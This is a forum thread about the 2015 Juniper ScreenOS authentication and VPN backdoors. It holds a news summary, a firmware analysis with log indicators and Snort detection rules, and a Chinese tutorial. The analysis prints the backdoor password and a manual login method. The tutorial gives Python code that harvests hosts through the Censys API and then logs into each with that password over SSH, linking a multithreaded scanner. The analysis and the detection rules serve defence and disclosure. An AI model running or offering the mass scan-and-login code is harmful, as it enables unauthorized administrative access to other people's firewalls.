linda

Juniper防火墙产品运行的系统ScreenOS上周爆出了两个后门，一个后门与椭圆曲线伪随机数生成器有关，允许攻击者解密VPN流量；第二个后门允许攻击者绕过 SSH和Telnet 的身份验证。该后门密码是“is <<< %s”(un='%s') = %u，它没有在旧的版本中发现，只影响ScreenOS 6.3.0r17和6.3.0r19，根据受影响版本发布的时间，后门密码最早是在2013年加入的。Juniper 提供了在日志中发现攻击者利用后门密码登录的方法。

原文：http://www.solidot.org/story?sid=46598

[ 本帖最后由 linda 于 2016-2-29 17:46 编辑 ]

admin

On December 18th, 2015 Juniper issued an advisory indicating that they had discovered unauthorized code in the ScreenOS software that powers their Netscreen firewalls. This advisory covered two distinct issues; a backdoor in the VPN implementation that allows a passive eavesdropper to decrypt traffic and a second backdoor that allows an attacker to bypass authentication in the SSH and Telnet daemons. Shortly after Juniper posted the advisory, an employee of Fox-IT stated that they were able to identify the backdoor password in six hours. A quick Shodan search identified approximately 26,000 internet-facing Netscreen devices with SSH open. Given the severity of this issue, we decided to investigate.

Juniper's advisory mentioned that versions 6.2.0r15 to 6.2.0r18 and 6.3.0r12 to 6.3.0r20 were affected. Juniper provided a new 6.2.0 and 6.3.0 build, but also rebuilt older packages that omit the backdoor code. The rebuilt older packages have the "b" suffix to the version and have a minimal set of changes, making them the best candidate for analysis. In order to analyze the firmware, it must be unpacked and then decompressed. The firmware is distributed as a ZIP file that contains a single binary. This binary is a decompression stub followed by a gzip-compressed kernel. The x86 images can be extracted easily with binwalk, but the XScale images require a bit more work. ScreenOS is not based on Linux or BSD, but runs as a single monolithic kernel. The SSG500 firmware uses the x86 architecture, while the SSG5 and SSG20 firmware uses the XScale (ARMB) architecture. The decompressed kernel can be loaded into IDA Pro for analysis. As part of the analysis effort, we have made decompressed binaries available in a GitHub repository.

Although most folks are more familiar with x86 than ARM, the ARM binaries are significantly easier to compare due to minimal changes in the compiler output. In order to load the SSG5 (ssg5ssg20.6.3.0r19.0.bin) firmware into IDA, the ARMB CPU should be selected, with a load address of 0x80000 and a file offset of 0x20. Once the binary is loaded, it helps to identify and tag common functions. Searching for the text "strcmp" finds a static string that is referenced in the sub_ED7D94 function. Looking at the strings output, we can see some interesting string references, including auth_admin_ssh_special and auth_admin_internal. Searching for "auth_admin_internal" finds the sub_13DBEC function. This function has a "strcmp" call that is not present in the 6.3.0r19b firmware:

ssh.png

The argument to the strcmp call is <<< %s(un='%s') = %u, which is the backdoor password, and was presumably chosen so that it would be mistaken for one of the many other debug format strings in the code. This password allows an attacker to bypass authentication through SSH and Telnet. If you want to test this issue by hand, telnet or ssh to a Netscreen device, specify any username, and the backdoor password. If the device is vulnerable, you should receive an interactive shell with the highest privileges.

The interesting thing about this backdoor is not the simplicity, but the timing. Juniper's advisory claimed that versions 6.2.0r15 to 6.2.0r18 and 6.3.0r12 to 6.3.0r20 were affected, but the authentication backdoor is not actually present in older versions of ScreenOS. We were unable to identify this backdoor in versions 6.2.0r15, 6.2.0r16, 6.2.0r18 and it is probably safe to say that the entire 6.2.0 series was not affected by this issue (although the VPN issue was present). We were also unable to identify the authentication backdoor in versions 6.3.0r12 or 6.3.0r14. We could confirm that versions 6.3.0r17 and 6.3.0r19 were affected, but were not able to track down 6.3.0r15 or 6.3.0r16. This is interesting because although the first affected version was released in 2012, the authentication backdoor did not seem to get added until a release in late 2013 (either 6.3.0r15, 6.3.0r16, or 6.3.0r17).

Detecting the exploitation of this issue is non-trivial, but there are a couple things you can do. Juniper provided guidance on what the logs from a successful intrusion would look like:

2015-12-17 09:00:00 system warn 00515 Admin user system has logged on via SSH from …..

2015-12-17 09:00:00 system warn 00528 SSH: Password authentication successful for admin user ‘username2’ at host …

Although an attacker could delete the logs once they gain access, any logs sent to a centralized logging server (or SIEM) would be captured, and could be used to trigger an alert.

Fox-IT has a created a set of Snort rules that can detect access with the backdoor password over Telnet and fire on any connection to a ScreenOS Telnet or SSH service:

# Signatures to detect successful abuse of the Juniper backdoor password over telnet.
# Additionally a signature for detecting world reachable ScreenOS devices over SSH.

alert tcp $HOME_NET 23 -> any any (msg:"FOX-SRT - Flowbit - Juniper ScreenOS telnet (noalert)"; flow:established,to_client; content:"Remote Management Console|0d0a|"; offset:0; depth:27; flowbits:set,fox.juniper.screenos; flowbits:noalert; reference:cve,2015-7755; reference:url,http://kb.juniper.net/JSA10713; classtype:policy-violation; sid:21001729; rev:2;)

alert tcp any any -> $HOME_NET 23 (msg:"FOX-SRT - Backdoor - Juniper ScreenOS telnet backdoor password attempt"; flow:established,to_server; flowbits:isset,fox.juniper.screenos; flowbits:set,fox.juniper.screenos.password; content:"|3c3c3c20257328756e3d2725732729203d202575|"; offset:0; fast_pattern; classtype:attempted-admin; reference:cve,2015-7755; reference:url,http://kb.juniper.net/JSA10713; sid:21001730; rev:2;)

alert tcp $HOME_NET 23 -> any any (msg:"FOX-SRT - Backdoor - Juniper ScreenOS successful logon"; flow:established,to_client; flowbits:isset,fox.juniper.screenos.password; content:"-> "; isdataat:!1,relative; reference:cve,2015-7755; reference:url,http://kb.juniper.net/JSA10713; classtype:successful-admin; sid:21001731; rev:1;)

alert tcp $HOME_NET 22 -> $EXTERNAL_NET any (msg:"FOX-SRT - Policy - Juniper ScreenOS SSH world reachable"; flow:to_client,established; content:"SSH-2.0-NetScreen"; offset:0; depth:17; reference:cve,2015-7755; reference:url,http://kb.juniper.net/JSA10713; classtype:policy-violation; priority:1; sid:21001728; rev:1;)


Robert Nunley has created a set of Sagan rules for this issue:
sagan-rules/juniper.rules
sagan-rules/juniper-geoip.rules

If you are trying to update a ScreenOS system and are running into issues with the signing key, take a look at Steve Puluka's blog post.

We would like to thank Ralf-Philipp Weinmann of Comsecuris for his help with unpacking and analyzing the firmware and Maarten Boone of Fox-IT for confirming our findings and providing the Snort rules above.

Update: Fox-IT reached out and confirmed that *any* username can be used via Telnet or SSH with the backdoor password, regardless of whether it is valid or not.
Update: Juniper has confirmed that the authentication backdoor only applies to revisions 6.3.0r17, 6.3.0r18, 6.3.0r19, and 6.3.0r20
Update: Details on CVE-2015-7756 have emerged. The Wired article provides a great overview as well.

linda

Censys是一款用以搜索联网设备信息的新型搜索引擎，安全专家可以使用它来评估他们实现方案的安全性，而黑客则可以使用它作为前期侦查攻击目标、收集目标信息的强大利器。其功能与十分流行的Shodan十分相似，然而与Shodan相比其优势在于这是一款免费的搜索引擎，最初由密歇根大学的研究人员在10月发行，目前由谷歌提供支持。关于Censys的具体介绍可参考 http://www.freebuf.com/news/89285.html

Juniper高级副总裁兼首席信息安全官Bob Worrall称，在最近的内部代码审计过程中发现了两枚漏洞，影响ScreenOS 6.2.0r15—6.2.0r18，6.3.0r12—6.3.0r20版本。其中一个是未授权代码漏洞，可解密VPN流量；另外一个可允许攻击者通过SSH或者telnet远程管理访问设备。Juniper提到这些系统的访问会被记录，密码认证也会成功，但是攻击者可改变或者删除日志条目。关于漏洞具体介绍可参考http://www.freebuf.com/news/90323.html
了解到该漏洞后我尝试着使用Censys搜索可能存在后门的主机并批量进行验证。在完成这项工作之前请先让我带领大家大体了解一下Censys中API的使用方法。
首先，你需要有一个帐号，Censys是免费开放注册的，所以这个应该很简单。注册好后在我们的账户页面可以看到Censys为我们每人分配了一个APIID和一个Secret，另外我们还注意到下面有一个搜索频率的限制，使用API的话每5分钟只能搜索120次，这个问题我们下面再处理。

打开API页面，我们看到，Censys提供了search、view、report、query、export以及data六种API接口。

在提供的API方法中，我们使用最多的应该就是search了，所以，我大体介绍一下search的使用方法。search接口的请求地址是https://www.censys.io/api/v1/search/?，其中?的地方可以是ipv4、websites或者certificates，分别代表搜索ipv4主机、网站和证书。我们的POST请求应该是一组包含query、page、fields的json数据，其中query指的是相应的搜索语句；page代表返回的页码，Censys总是返回一页的数据，即如果你page设置的5，那么其返回的并不是前5页的数据，而是第5页的数据；fields指的是你希望返回值中包含哪些字段，具体包含哪些字段你可以自己去看一下。
通过上面的介绍我们就可以使用Censys来获取数据了，比如说如果你想获取所有apache的服务器，你可以像下面这样来构造代码：
import sysimport jsonimport requests   API_URL = "https://www.censys.io/api/v1"UID = "YOUR API ID"SECRET = "YOUR SECRET"data = {    "query":"80.http.get.headers.server: apache",     "page":1,     "fields":["ip", "location.country"]}res = requests.post(API_URL + "/search/ipv4", data=json.dumps(data), auth=(UID, SECRET))results = res.json()if res.status_code != 200:    print "error occurred: %s" % results["error"]    sys.exit(1)for result in results["results"]:    print "%s in %s" % (result["ip"], result["location.country"][0])当然，上面一段代码只返回了第一页的数据，如果你想获得大量数据可以设置一个page变量循环获取，注意：page要从1开始循环而不是从0哦。当然，这样的话问题就来了，Censys只允许我们每5分钟请求120次，直接遍历的话会出现错误，因此我添加了一个延时器，如果一次请求所用的时间少于2.5秒，我就延时剩余的时间，否则的话就直接进行下一次查询。当然，你或许会有更好的方法来解决这个问题。
介绍完Censys，就应该进入正题了，其实检查设备是否有后门就是看该主机可不可以使用user = “root”，password = “<<< %s(un=’%s’) = %u”登录其SSH。我使用了pexpect模块的pxssh来登录远程SSH，具体代码如下：
def connectSSH(host, user, passwd):try:    ssh = pxssh.pxssh()    ssh.login(host, user, passwd, auto_prompt_reset = False)    return sshexcept Exception, e:    print "%s is not vul" % host其实由于登录后并不是传统的SSH，而是该防火墙的操作终端，因此pxssh会认为并没有登录成功，而是返回超时异常，此时我们检测其返回的before字段如果有Remote Management Console字样就说明该主机存在后门。
整合其所有代码并加入多线程进行优化后，我们就可以实时获取可能存在后门的主机并对其进行检测了，整合后的代码地址：https://github.com/s0m30ne/JuniperBackdoor
* 原创作者：阿金，本文属FreeBuf原创奖励计划，未经许可禁止转载
原文：http://www.tuicool.com/articles/EFNrYzb